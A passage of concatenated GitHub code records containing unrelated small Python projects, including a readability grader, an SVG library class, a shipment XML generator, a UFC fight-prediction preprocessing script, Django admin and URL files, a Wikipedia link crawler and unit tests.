\"output/beast/LV/beast_input/beast'+str(index)+'.xml\"')\n\t\t\n","repo_name":"AntanasKal/Phylogeography","sub_path":"discmodel/discs.py","file_name":"discs.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73918749313","text":"def main():\n # Get text from user\n text = input(\"Text: \")\n\n # Count number of letters, words, and sentences\n text_letters = count_letters(text)\n text_words = count_words(text)\n text_sentences = count_sentences(text)\n\n # Calculate Coleman-Liau index\n L = text_letters / text_words * 100\n S = text_sentences / text_words * 100\n index = round(0.0588 * L - 0.296 * S - 15.8)\n\n # Prints result\n if index >= 16:\n print(\"Grade 16+\")\n elif index < 1:\n print(\"Before Grade 1\")\n else:\n print(f\"Grade {index}\")\n\n\n# Function for counting letters\n# Any lowercase character from a to z or any uppercase character from A to Z counts as a letter\ndef count_letters(text):\n text_size = len(text)\n text_letters = 0\n for i in range(text_size):\n if text[i].isalpha():\n text_letters += 1\n return text_letters\n\n\n# Function for counting words\n# Any sequence of characters separated by spaces counts as a word\ndef count_words(text):\n text_size = len(text)\n text_words = 1\n for i in range(text_size):\n if ord(text[i]) == 32:\n text_words += 1\n return text_words\n\n\n# Function for counting sentences\n# Any occurrence of a period, exclamation point, or question mark indicates the end of a sentence\ndef count_sentences(text):\n text_size = len(text)\n text_sentences = 0\n for i in range(text_size):\n if ord(text[i]) in [33, 46, 63]:\n text_sentences += 1\n return text_sentences\n\n\nmain()","repo_name":"ijborda/cs50","sub_path":"sentimental-readability/readability.py","file_name":"readability.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5776937923","text":"from RGT.XML.SVG.basicSvgNode import BasicSvgNode\r\nfrom types import StringType\r\n\r\n\r\nclass ViewNode(BasicSvgNode):\r\n svgNodeType = BasicSvgNode.SVG_VIEW_NODE\r\n\r\n ATTRIBUTE_EXTERNAL_RESOURCES_REQUIRED = 'externalResourcesRequired'\r\n ATTRIBUTE_VIEW_BOX = 'viewBox'\r\n ATTRIBUTE_PRESERVE_ASPECT_RATIO = 'preserveAspectRatio'\r\n ATTRIBUTE_ZOOM_AND_PAN = 'zoomAndPan'\r\n ATTRIBUTE_VIEW_TARGET = 'viewTarget'\r\n\r\n\r\n def __init__(self, ownerDoc):\r\n BasicSvgNode.__init__(self, ownerDoc, 'view')\r\n self._allowedSvgChildNodes.update(self.SVG_GROUP_DESCRIPTIVE_ELEMENTS)\r\n\r\n def setExternalResourcesRequired(self, data):\r\n allowedValues = ['true', 'false']\r\n\r\n if data is not None:\r\n if data not in allowedValues:\r\n values = ''\r\n for value in allowedValues:\r\n values += value + ', '\r\n values = values[0: len(values) - 2]\r\n raise ValueError('Value not allowed, only ' + values + 'are allowed')\r\n else:\r\n self._setNodeAttribute(self.ATTRIBUTE_EXTERNAL_RESOURCES_REQUIRED, data)\r\n\r\n def setViewBox(self, data):\r\n if data is not None:\r\n if type(data) is not StringType:\r\n data = str(data)\r\n self._setNodeAttribute(self.ATTRIBUTE_VIEW_BOX, data)\r\n\r\n\r\n def setPreserveAspectRatio(self, data):\r\n if data is not None:\r\n if type(data) is not StringType:\r\n data = str(data)\r\n self._setNodeAttribute(self.ATTRIBUTE_PRESERVE_ASPECT_RATIO, data)\r\n\r\n def setZoomAndPan(self, data):\r\n if data is not None:\r\n if type(data) is not StringType:\r\n data = str(data)\r\n self._setNodeAttribute(self.ATTRIBUTE_ZOOM_AND_PAN, data)\r\n\r\n def setViewTarget(self, data):\r\n if data is not None:\r\n if type(data) is not StringType:\r\n data = str(data)\r\n self._setNodeAttribute(self.ATTRIBUTE_VIEW_TARGET, data)\r\n\r\n def getExternalResourcesRequired(self):\r\n node = self._getNodeAttribute(self.ATTRIBUTE_EXTERNAL_RESOURCES_REQUIRED)\r\n if node is not None:\r\n return node.nodeValue\r\n return None\r\n\r\n def getViewBox(self):\r\n node = self._getNodeAttribute(self.ATTRIBUTE_VIEW_BOX)\r\n if node is not None:\r\n return node.nodeValue\r\n return None\r\n\r\n def getPreserveAspectRatio(self):\r\n node = self._getNodeAttribute(self.ATTRIBUTE_PRESERVE_ASPECT_RATIO)\r\n if node is not None:\r\n return node.nodeValue\r\n return None\r\n\r\n def getZoomAndPan(self):\r\n node = self._getNodeAttribute(self.ATTRIBUTE_ZOOM_AND_PAN)\r\n if node is not None:\r\n return node.nodeValue\r\n return None\r\n\r\n def getViewTarget(self):\r\n node = self._getNodeAttribute(self.ATTRIBUTE_VIEW_TARGET)\r\n if node is not None:\r\n return node.nodeValue\r\n return None","repo_name":"danrg/RGT-tool","sub_path":"src/RGT/XML/SVG/viewNode.py","file_name":"viewNode.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"10134861798","text":"# Написать программу, угадай число, только загадывает пользователь, а отгадывает компьютер.\nuser_number = int(input('Загадайте число: '))\n\nimport random \n\nresult = None\nmin_number = 1\nmax_number = 100\n\nwhile result != '=':\n coputer_number = random.randint(min_number, max_number)\n print(coputer_number)\n result = input('= , < , > ')\n \n if result == '>':\n min_number = coputer_number + 1\n \n elif result == '<':\n max_number = coputer_number - 1\n\nprint('Компьютер отгадал ')\n\n\n\n","repo_name":"MaksimPozdniakov/Seminars_HWs_Lectures_Python","sub_path":"Lectures/Lecture_001/HomeWork.py","file_name":"HomeWork.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41563361125","text":"# -*- coding: utf-8 -*-\nimport xml.etree.cElementTree as ET\nfrom datetime import datetime\n\n\n\n\n\n\n\n\n\n# Get the NDC format by spliting the NDC number and\n# getting the length of each part example 566-4333-33 give the format 342\n#\n# @param String the ndc\n# @return String the NDC format\n#\ndef get_NDC_Format(ndc):\n ndc_arr = ''\n format = ''\n if '-' in ndc:\n ndc_arr = ndc.split('-')\n \n for i in ndc_arr:\n format += str(len(i))\n\n return format\n\n\n\n\n\n\n\n\n\n\n# Wrtie the transaction in the XML file\n#\n# @param JSON data of the transaction\n# @path the path where the XML file will be write\n# @return None\n#\ndef transactionToXML(transactions , path):\n\n \n root = ET.Element(\"Shipment\")\n\n ET.SubElement(root, \"SenderId\").text = transactions['company_id_value']\n ET.SubElement(root, \"ReceiverId\").text = transactions['tp_id_value']\n\n #**************************** BSN *************************************\n ET.SubElement(root, \"Purpose\").text = 'Original'\n #todo\n ET.SubElement(root, \"ShipmentID\").text ='331'\n ET.SubElement(root, \"ShipmentDate\").text = transactions['transaction']['ti_shipped_on']\n \n #Get Time\n hour = str(datetime.now().hour)\n minutes = str(datetime.now().minute)\n \n if len(minutes) == 1:\n minutes = '0' + minutes\n \n if len(hour) == 1:\n hour = '0' + hour\n \n ET.SubElement(root, \"ShipmentTime\").text = hour +':'+ minutes #To update we just set the current time when the EDI was created\n \n #Hierarchical Structure Code BSN005\n ET.SubElement(root, \"HLStructureCode\").text = '0001'\n ET.SubElement(root, \"TransactionCode\").text = 'AS'\n #todo\n ET.SubElement(root, \"PackagingCode\").text = ''\n ET.SubElement(root, \"LadingQty\").text = ''\n scac = transactions['transaction']['ti_shipping_carrier']\n if scac and len(scac) < 2 :\n scac = \"\" \n ET.SubElement(root, \"SCAC\").text = scac \n \n \n #todo same as the shipement ID\n ET.SubElement(root, \"BillOfLadingNo\").text = ''\n ET.SubElement(root, \"ShipDate\").text = transactions['transaction']['ti_shipped_on']\n \n ET.SubElement(root, \"WeightQualifier\").text = ''\n ET.SubElement(root, \"Weight\").text = ''\n ET.SubElement(root, \"WeightUOM\").text = ''\n ET.SubElement(root, \"CarrierStandardId\").text = ''\n ET.SubElement(root, \"TransportMethod\").text = transactions['transaction']['ti_shipping_method']\n ET.SubElement(root, \"ShipmentStatus\").text = 'CC'\n \n #BuyingParty\n \n BuyingParty = ET.SubElement(root, \"BuyingParty\")\n ET.SubElement(BuyingParty, \"Name\").text = transactions['buyer_address']['name']\n ET.SubElement(BuyingParty, \"ID\",TYPE=\"91\").text = transactions['buyer_address']['id']\n ET.SubElement(BuyingParty, \"City\").text = transactions['buyer_address']['city']\n ET.SubElement(BuyingParty, \"Address1\").text = transactions['buyer_address']['line1']\n ET.SubElement(BuyingParty, \"Address2\").text = transactions['buyer_address']['line2']\n ET.SubElement(BuyingParty, \"PostalCode\").text = transactions['buyer_address']['zip']\n ET.SubElement(BuyingParty, \"StateCode\").text = transactions['buyer_address']['_state_code']\n ET.SubElement(BuyingParty, \"CountryCode\").text = transactions['buyer_address']['_country_iso2_code']\n \n #ShippingAddress\n ShippingAddress = ET.SubElement(root, \"ShippingAddress\")\n ET.SubElement(ShippingAddress, \"Name\").text = transactions['transaction']['ti_address']['name']\n ET.SubElement(ShippingAddress, \"ID\",TYPE= '91').text = transactions['transaction']['ti_address']['id']\n ET.SubElement(ShippingAddress, \"City\").text = transactions['transaction']['ti_address']['city']\n ET.SubElement(ShippingAddress, \"Address1\").text = transactions['transaction']['ti_address']['line1']\n ET.SubElement(ShippingAddress, \"Address2\").text = transactions['transaction']['ti_address']['line2']\n ET.SubElement(ShippingAddress, \"PostalCode\").text = transactions['transaction']['ti_address']['zip']\n ET.SubElement(ShippingAddress, \"StateCode\").text = transactions['transaction']['ti_address']['_state_code']\n ET.SubElement(ShippingAddress, \"CountryCode\").text = transactions['transaction']['ti_address']['_country_iso2_code']\n \n #Seller\n Seller = ET.SubElement(root, \"Seller\")\n ET.SubElement(Seller, \"Name\").text = transactions['transaction']['owner_address']['name']\n ET.SubElement(Seller, \"ID\",TYPE= '91').text = transactions['transaction']['owner_address']['id']\n ET.SubElement(Seller, \"City\").text = transactions['transaction']['owner_address']['city']\n ET.SubElement(Seller, \"PostalCode\").text = transactions['transaction']['owner_address']['zip']\n ET.SubElement(Seller, \"Address1\").text = transactions['transaction']['owner_address']['line1']\n ET.SubElement(Seller, \"Address2\").text = transactions['transaction']['owner_address']['line2']\n ET.SubElement(Seller, \"StateCode\").text = transactions['transaction']['owner_address']['_state_code']\n ET.SubElement(Seller, \"CountryCode\").text = transactions['transaction']['owner_address']['_country_iso2_code']\n \n #ShipFrom\n shipformAddress = 'owner_address'\n \n if transactions['transaction']['product_phys_address']:\n shipformAddress = 'product_phys_address'\n \n ShipFrom = ET.SubElement(root, \"ShipFrom\")\n ET.SubElement(ShipFrom, \"Name\").text = transactions['transaction'][shipformAddress]['name']\n ET.SubElement(ShipFrom, \"ID\",TYPE= '91').text = transactions['transaction'][shipformAddress]['id']\n ET.SubElement(ShipFrom, \"City\").text = transactions['transaction'][shipformAddress]['city']\n ET.SubElement(ShipFrom, \"PostalCode\").text = transactions['transaction'][shipformAddress]['zip']\n ET.SubElement(ShipFrom, \"Address1\").text = transactions['transaction'][shipformAddress]['line1']\n ET.SubElement(ShipFrom, \"Address2\").text = transactions['transaction'][shipformAddress]['line2']\n ET.SubElement(ShipFrom, \"StateCode\").text = transactions['transaction'][shipformAddress]['_state_code']\n ET.SubElement(ShipFrom, \"CountryCode\").text = transactions['transaction'][shipformAddress]['_country_iso2_code']\n \n #Transaction Statement\n outbound_ts_1 = transactions['transaction']['outbound_ts_checks_is_auth']\n \n outbound_ts_2 = transactions['transaction']['outbound_ts_checks_received_from_person_auth']\n outbound_ts_3 = transactions['transaction']['outbound_ts_checks_received_ti_and_ts_from_prior_owner']\n \n outbound_ts_4 = transactions['transaction']['outbound_ts_checks_did_not_ship_suspect_or_illegetimate_prd']\n outbound_ts_5 = transactions['transaction']['outbound_ts_checks_had_sys_comply_with_verif_req']\n outbound_ts_6 = transactions['transaction']['outbound_ts_checks_did_not_knowingly_provide_false_trx_info']\n outbound_ts_7 = transactions['transaction']['outbound_ts_checks_did_not_alter_trx_info']\n \n YesNoQuestions = ET.SubElement(root, \"YesNoQuestions\")\n if outbound_ts_1 and outbound_ts_2 and outbound_ts_3 and outbound_ts_4 and outbound_ts_5 and outbound_ts_6 and outbound_ts_7:\n YesNoQuestion = ET.SubElement(YesNoQuestions, \"YesNoQuestion\")\n ET.SubElement(YesNoQuestion, \"IndustryCode\").text = 'TS'\n ET.SubElement(YesNoQuestion, \"ResponseCode\").text = 'Y'\n ET.SubElement(YesNoQuestion, \"FreeFormMessageText\").text = 'Seller has complied with each applicable subsection of FDCA Sec. 581(27)(A)-(G)'\n\n #Manufacturer Statement\n outbound_ts_checks_bought_direct_from_manufacturer = transactions['transaction']['outbound_ts_checks_bought_direct_from_manufacturer']\n if outbound_ts_checks_bought_direct_from_manufacturer:\n YesNoQuestion = ET.SubElement(YesNoQuestions, \"YesNoQuestion\")\n ET.SubElement(YesNoQuestion, \"IndustryCode\").text = 'DPS'\n ET.SubElement(YesNoQuestion, \"ResponseCode\").text = 'Y'\n ET.SubElement(YesNoQuestion, \"FreeFormMessageText\").text = 'This wholesale distributor, or a member of the affiliate of such wholesale distributor, purchased the product directly from the manufacturer, exclusive distributor of the manufacturer, or repackage that purchased the product directly from the manufacturer'\n\n #Order\n order = ET.SubElement(root, \"Order\")\n po_nbr = transactions['transaction']['misc_po_nbr']\n if not po_nbr:\n po_nbr = 'NOPONBR'\n ET.SubElement(order, \"PONumber\").text = po_nbr\n ET.SubElement(order, \"PODate\").text = transactions['transaction']['outbound_transaction_date']\n ET.SubElement(order, \"SellerInvoiceNumber\").text = transactions['transaction']['misc_invoice_id']\n\n #Item\n item = ET.SubElement(order, \"Item\")\n lot = transactions['transaction']['lot']\n if '*' in lot:\n lot = lot.replace('*','')\n ET.SubElement(item, \"LotNumber\").text = lot\n #Extract NDC and formnat\n ndc = transactions['transaction']['ndc']\n ET.SubElement(item, \"NDC\", FORMAT= get_NDC_Format(ndc) ).text = ndc\n\n ET.SubElement(item, \"VendorCatalogNumber\").text = str(transactions['transaction']['item_id'])\n ET.SubElement(item, \"UnitsShipped\").text = str(transactions['transaction']['serialess_qty'])\n ET.SubElement(item, \"UnitsShippedUOM\").text = 'EA'\n ET.SubElement(item, \"ItemDescType\").text = 'F' #Default value F\n ET.SubElement(item, \"ItemDescription\").text = transactions['transaction']['product_name']\n ET.SubElement(item, \"LotNumberExpiration\").text = transactions['transaction']['expiration_date']\n\n #Manufacturer\n if transactions['transaction']['manufacturer']:\n Manufacturer = ET.SubElement(item, \"Manufacturer\")\n ET.SubElement(Manufacturer, \"Name\").text =transactions['transaction']['manufacturer']['name']\n ET.SubElement(Manufacturer, \"ID\",TYPE= '91').text = transactions['transaction']['manufacturer']['id']\n ET.SubElement(Manufacturer, \"City\").text =transactions['transaction']['manufacturer']['city']\n ET.SubElement(Manufacturer, \"PostalCode\").text = transactions['transaction']['manufacturer']['zip']\n ET.SubElement(Manufacturer, \"StateCode\").text = transactions['transaction']['manufacturer']['_state_code']\n ET.SubElement(Manufacturer, \"Address1\").text = transactions['transaction']['manufacturer']['line1']\n ET.SubElement(Manufacturer, \"Address2\").text = transactions['transaction']['manufacturer']['line2']\n ET.SubElement(Manufacturer, \"CountryCode\").text = transactions['transaction']['manufacturer']['_country_iso2_code']\n\n if outbound_ts_checks_bought_direct_from_manufacturer:\n YesNoQuestions = ET.SubElement(item, \"YesNoQuestions\")\n YesNoQuestion = ET.SubElement(YesNoQuestions, \"YesNoQuestion\")\n ET.SubElement(YesNoQuestion, \"IndustryCode\").text = 'DIR'\n ET.SubElement(YesNoQuestion, \"ResponseCode\").text = 'Y'\n \n \n tree = ET.ElementTree(root)\n task_id = transactions['task_id']\n\n # Wrtie the XML file\n filePath = path + '/' + str(task_id) +\".xml\"\n tree.write(filePath, xml_declaration=True, encoding='utf-8', method=\"xml\")\n","repo_name":"GAbdallah/Python-JavaSample","sub_path":"rx_project/xmlhelper.py","file_name":"xmlhelper.py","file_ext":"py","file_size_in_byte":10995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23465390821","text":"'''\nOminous omino 4-11-15\nThis stupid program can only solve the small haha\n'''\n\nfin = open('ominousomino.in','r')\nfout = open('ominousomino.out','w')\n\nT = int(fin.readline())\n\nfor caseno in range(T):\n\tX, R, C = [int(x) for x in fin.readline().split()]\n\n\t#False is Gabriel wins (CAN PLACE), True is Richard wins (ONE WAY CANNOT PLACE)\n\tif (X == 1):\n\t\tresult = False\n\telif (X == 2):\n\t\tresult = (R*C % 2 != 0)\n\telif (X == 3):\n\t\tif (R*C % 3 != 0):\n\t\t\tresult = True\n\t\telif (R*C == 3):\n\t\t\tresult = True\n\t\telse:\n\t\t\tresult = False\n\telif (X == 4):\n\t\tif (R*C % 4 != 0):\n\t\t\tresult = True\n\t\telif (R*C == 4):\n\t\t\tresult = True\n\t\telif (R*C == 8):\n\t\t\tresult = True\n\t\telse:\n\t\t\tresult = False\n\n\tfout.write(\"Case #\" + str(caseno + 1) + \": \" + (\"RICHARD\" if result else \"GABRIEL\") + '\\n')\n\nfin.close()\nfout.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/562.py","file_name":"562.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11975209087","text":"# Getting the data and manipulating it\nfrom Data_processing_and_webscrape.Web_scrape import all_fighter_df, dimension_conversion, most_recent_event\nfrom Utils import *\n\n\n# All the functions & classes used in this program\nclass stance_conversion:\n def Orthadox_stance_conversion(df):\n df['Stance_Orth'] = df.apply(lambda x: x['Stance'] == 'Orthodox', axis = 1)\n df['Stance_Orth'] = df['Stance_Orth'].replace([True, False], [1, 0])\n return df\n def Southpaw_stance_conversion(df):\n df['Stance_South'] = df.apply(lambda x: x['Stance'] == 'Southpaw', axis=1)\n df['Stance_South'] = df['Stance_South'].replace([True, False], [1, 0])\n return df\n def Switch_stance_conversion(df):\n df['Stance_Switch'] = df.apply(lambda x: x['Stance'] == 'Switch', axis=1)\n df['Stance_Switch'] = df['Stance_Switch'].replace([True, False], [1, 0])\n df = df.drop(columns='Stance')\n return df\nclass Normalization:\n def normalization_minmax(df):\n df = (df - np.mean(df)) / np.std(df)\n #df = (df - min(df)) / (max(df) - min(df))\n return df\n def normalization_of_df(df):\n df['Reach'] = Normalization.normalization_minmax(df['Reach'])\n df['Ht.'] = Normalization.normalization_minmax(df['Ht.'])\n df['L'] = Normalization.normalization_minmax(df['L'])\n return df\nclass ht_reach_manipulation:\n def removing_str_from_int(df):\n df['Ht.'] = df['Ht.'].replace(\"\\'\", '', regex=True).replace('\"', '', regex=True).replace(\n ' ', '', regex=True).replace('--', '', regex=True)\n df = df[df['Ht.'] != '']\n df = df[df['Reach'] != '--']\n return df\n def ht_manipulation(df):\n df['Ht.inch_0'] = df['Ht.'].str[0]\n df['Ht.inch_1'] = df['Ht.'].str[1]\n df['Ht.inch_2'] = df['Ht.'].str[2]\n df = df.fillna('')\n df['Ht.inch_0'] = df['Ht.inch_0']\n df['Ht.inch_1'] = df['Ht.inch_1']\n df['Ht.inch_2'] = df['Ht.inch_2']\n df['Ht.inch_3'] = df['Ht.inch_1'] + df['Ht.inch_2']\n df['Ht.inch_1'] = df['Ht.inch_3']\n df['Ht.inch_0'] = dimension_conversion.ft_to_cm(dimension_conversion.str_to_int_convers(df['Ht.inch_0']))\n df['Ht.inch_1'] = dimension_conversion.inch_to_cm(dimension_conversion.str_to_int_convers(df['Ht.inch_1']))\n df['Ht.'] = df['Ht.inch_1'] + df['Ht.inch_0']\n df = df.drop(columns=['Ht.inch_3', 'Ht.inch_2', 'Ht.inch_1', 'Ht.inch_0'])\n return df\n def reach_manipulation(df):\n df['Reach'] = df['Reach'].replace('\"', '', regex=True)\n df['Reach'] = dimension_conversion.inch_to_cm(dimension_conversion.str_to_int_convers(all_fighter_df['Reach']))\n return df\nclass event_test_set:\n def fighter_name_latest_event(df):\n df = pd.DataFrame(df['Fighter'].str.split(' ', 1, expand=True).stack(). \\\n reset_index(level=1, drop=True))\n df[['First', 'Last']] = df[0].str.split(' ', 1, expand=True)\n df = df[['First', 'Last']]\n return df\n def real_event_test_set(webscrape_df):\n webscrape_df = webscrape_df.fillna(null_number)\n webscrape_df = webscrape_df[webscrape_df.First != null_number].drop(columns=['Nickname', 'Wt.', 'Belt',\n 'W', 'D'])\n return webscrape_df\n def removing_null_fighter(df):\n Null_fighter_information = df[df.isna().any(axis=1)]\n Null_fighter_information = Null_fighter_information.drop(columns=['Ht.', 'Reach', 'L', 'Stance_Orth',\n 'Stance_South', 'Stance_Switch'])\n return Null_fighter_information\n @staticmethod\n def real_test_set_manipulation():\n real_test_set = even_or_odd_index(event_test_set.removing_null_fighter(merged_test_set), merged_test_set)\n real_test_set = real_test_set.drop(columns=['First', 'Last'])\n real_test_set = real_test_set[['L', 'Stance_Orth', 'Stance_South', 'Stance_Switch', 'Ht.', 'Reach']]\n real_test_set['Reach'] = Normalization.normalization_minmax(real_test_set['Reach'])\n real_test_set['Ht.'] = Normalization.normalization_minmax(real_test_set['Ht.'])\n real_test_set['L'] = Normalization.normalization_minmax(real_test_set['L'])\n return real_test_set\ndef even_or_odd_index(null_df_fighter, df):\n for i in null_df_fighter.index:\n df = df.drop(index=i)\n if i % 2 != 0:\n df = df.drop(index = i - 1)\n elif i % 2 == 0:\n df = df.drop(index = i + 1)\n return df\ndef exporting_names_to_excel(df):\n export_dataframe = df[['First', 'Last']]\n export_dataframe.columns = ['First', 'Last']\n return export_dataframe\n\n# The array used to represent the column names to drop\ncolumns_to_drop_from_raw_df = ['Winner','Stance','Fighter', 'W',\n 'Wt.', 'Date of Fight', 'Birth Date',\n 'Age at Fight']\n\n# Random value to signify null. column != np.nan isn't working. Converted the null to this value and dropped it from df\nnull_number = 100000000\n\n# Importing the raw data used in the KNN (Note: this is a CSV file located on my computer)\nraw_data = pd.read_csv('Data_processing_and_webscrape/Data_for_model_no_organization.csv').dropna()\\\n .drop(columns=columns_to_drop_from_raw_df)\n\n# For Mac ?\n#raw_data = pd.read_csv('Data_for_model_no_organization.csv').dropna()\\\n# .drop(columns=columns_to_drop_from_raw_df)\n\n# Creating the X and Y values\ny = pd.DataFrame(raw_data['Winner_binary'])\nX = raw_data.drop(columns='Winner_binary')\n\n# Normalizing the X Values\nX = Normalization.normalization_of_df(X)\n\n# Creating the training & test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.21,\n random_state = 1111, shuffle = True)\n\n# Manipulating the webscraping dataframe.\nall_fighter_df = event_test_set.real_event_test_set(all_fighter_df)\n\n# Converting the stances into binary columns\nall_fighter_df = stance_conversion.Orthadox_stance_conversion(all_fighter_df)\nall_fighter_df = stance_conversion.Southpaw_stance_conversion(all_fighter_df)\nall_fighter_df = stance_conversion.Switch_stance_conversion(all_fighter_df)\n\n# Removing the following: ' ', ' -- ', or '\\' from the column to get only integers\nht_reach_manipulation.removing_str_from_int(all_fighter_df)\n\n# Manipulating the height column to get the height in cm\nall_fighter_df = ht_reach_manipulation.ht_manipulation(all_fighter_df)\n\n# Manipulating the reach column to get the reach in cm\nall_fighter_df = ht_reach_manipulation.reach_manipulation(all_fighter_df)\n\n# Merging the people from the input event I'm looking for and removing anyone who isn't on the card.\nmerged_test_set = pd.merge(all_fighter_df, event_test_set.fighter_name_latest_event(most_recent_event[0]),\n how='right', on=['First', 'Last'])\n\n# Creating the real test set to see who will win the chosen card\nreal_test_set = event_test_set.real_test_set_manipulation()\n\n# Creating a dataframe that has the name of the fighters. This is used to export to Excel on my desktop\nexport_dataframe = exporting_names_to_excel(merged_test_set)\n","repo_name":"s0r21/UFC_KNN","sub_path":"Data_processing_and_webscrape/Data_Processing.py","file_name":"Data_Processing.py","file_ext":"py","file_size_in_byte":7266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34589511854","text":"from django.contrib import admin\nfrom .models import Service, Affiliated\n\n# Register your models here.\nclass ServiceAdmin(admin.ModelAdmin):\n readonly_fields = ('created', 'updated')\n list_display = ('title', 'subtitle', 'created')\n ordering = ('title', 'created')\n search_fields = ('title', 'subtitle')\n\nclass AffiliatedAdmin(admin.ModelAdmin):\n readonly_fields = ('created', 'updated')\n list_display = ('name', 'created')\n ordering = ('name', 'created')\n search_fields = ('name',)\n\nadmin.site.register(Service, ServiceAdmin)\nadmin.site.register(Affiliated, AffiliatedAdmin)","repo_name":"Jotamontiel/mydistanciamientosocialdir","sub_path":"services/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22744129197","text":"from bs4 import BeautifulSoup\nimport requests\nimport time\nfrom urllib.parse import urljoin\n\nstart_url = \"https://en.wikipedia.org/wiki/Special:Random\"\ntarget_url = 'https://en.wikipedia.org/wiki/Philosophy'\narticle_chain = [start_url]\n\ndef continue_crawl(search_history,target_url,max_num=25):\n if search_history[-1] == target_url:\n print(\"zhao dao le\")\n return False\n elif len(search_history) > max_num:\n print(\"bu zhao le\")\n return False\n elif search_history[-1] == search_history[:-1]: #因为切片出最后的一个元素也是列表 字符串不会与列表相等\n print(\"si xun huan\")\n return False\n else:\n return True\n\ndef find_first_link(url):\n #从“url”获取HTML,使用请求库\n response = requests.get(url)\n html = response.text\n #将html输入到Beautiful Soup\n soup = BeautifulSoup(html,\"lxml\")\n #找到文章的第一个链接\n content_div = soup.find(id=\"mw-content-text\").find(class_=\"mw-parser-output\")\n for element in content_div.find_all(\"p\", recursive=False):\n if element.find(\"a\", recursive=False):\n article_link = element.find(\"a\", recursive=False).get('href')\n break\n\n if not article_link:\n return\n #将第一个链接作为字符串返回,如果没有链接,则返回一个链接\n first_link = urljoin('https://en.wikipedia.org/', article_link)\n\n return first_link\n\n\nwhile continue_crawl(article_chain,target_url):\n print(article_chain[-1])\n # 在article_chain中下载最后一篇文章的html\n # 在html中找到第一个链接\n first_link = find_first_link(article_chain[-1])\n if first_link==False: #当达到一个没有链接的文章时\n print(\"zhe shi yi ge mei you lian jie de wen zhang\")\n break\n # 将第一个链接添加到article_chain\n article_chain.append(first_link)\n # 延迟大约两秒钟\n time.sleep(2)","repo_name":"luqufei456/text","sub_path":"python入门编程实验/爬虫-维基百科搜索哲学.py","file_name":"爬虫-维基百科搜索哲学.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35308142728","text":"# https://docs.python.org/3/library/unittest.html\ntry:\n import sys\n import os\n\n sys.path.append(\n os.path.abspath(\n os.path.join(\n os.path.dirname(__file__),\n '..\\\\src'\n )\n )\n )\n\nexcept:\n raise\n\n\nimport unittest\nfrom operations import multiply_num, subtraction_num\n\n\nclass TestOperations(unittest.TestCase):\n def test_multiply_5_by_5_must_return_25(self):\n self.assertEqual(multiply_num(5, 5), 25)\n\n def test_subtraction_10_minus_3_must_return_7(self):\n self.assertEqual(subtraction_num(10, 3), 7)\n\n def test_multiply_many_inputs(self):\n x_y_outputs = (\n (10, 10, 100),\n (1.5, 10, 15.0),\n (1, 10, 10),\n (3.8, 10, 38.0),\n (4, 0.6, 8.24),\n )\n\n for x_y_output in x_y_outputs:\n with self.subTest(x_y_output=x_y_output):\n x, y, output = x_y_output\n self.assertEqual(multiply_num(x, y), output)\n\n def test_multiply_xy_not_int_or_float_must_return_assertionerror(self):\n with self.assertRaises(AssertionError):\n multiply_num(5, 'b')\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","repo_name":"raphael-d-cordeiro/Python_Public","sub_path":"TDD/unittest/tests/test_operations.py","file_name":"test_operations.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32164670470","text":"if __name__ == '__main__':\n year = int(input())\n\n flag = False\n res = 0\n if year % 400 == 0:\n flag = True\n elif year % 100 != 0 and year % 4 == 0:\n flag = True\n else:\n flag = False\n\n if flag:\n res = 1\n else:\n res = 0\n\n print(res)","repo_name":"HaJunYoo/Algorithm_Study","sub_path":"구현/BOJ/BOJ_2753(윤년).py","file_name":"BOJ_2753(윤���).py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7283919032","text":"import flwr as fl\n\nfrom strategy import FedAnalytics\n\n# Start Flower server\nhist = fl.driver.start_driver(\n server_address=\"0.0.0.0:9091\",\n config=fl.server.ServerConfig(num_rounds=1),\n strategy=FedAnalytics(),\n)\nassert hist.metrics_centralized[\"Aggregated histograms\"][1][1] == [\n \"Length:\",\n \"18\",\n \"46\",\n \"28\",\n \"54\",\n \"32\",\n \"52\",\n \"36\",\n \"12\",\n \"10\",\n \"12\",\n \"Width:\",\n \"8\",\n \"14\",\n \"44\",\n \"48\",\n \"74\",\n \"62\",\n \"20\",\n \"22\",\n \"4\",\n \"4\",\n]\n","repo_name":"adap/flower","sub_path":"e2e/pandas/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":3287,"dataset":"github-code","pt":"61"} +{"seq_id":"40595442574","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('groups/manager/users', views.managers),\n path('groups/delivery-crew/users', views.delivery_crew),\n path('menu-items', views.menu_items),\n path('menu-items/', views.single_menu_item),\n path('cart/menu-items', views.cart_items),\n path('orders', views.orders),\n path('orders/', 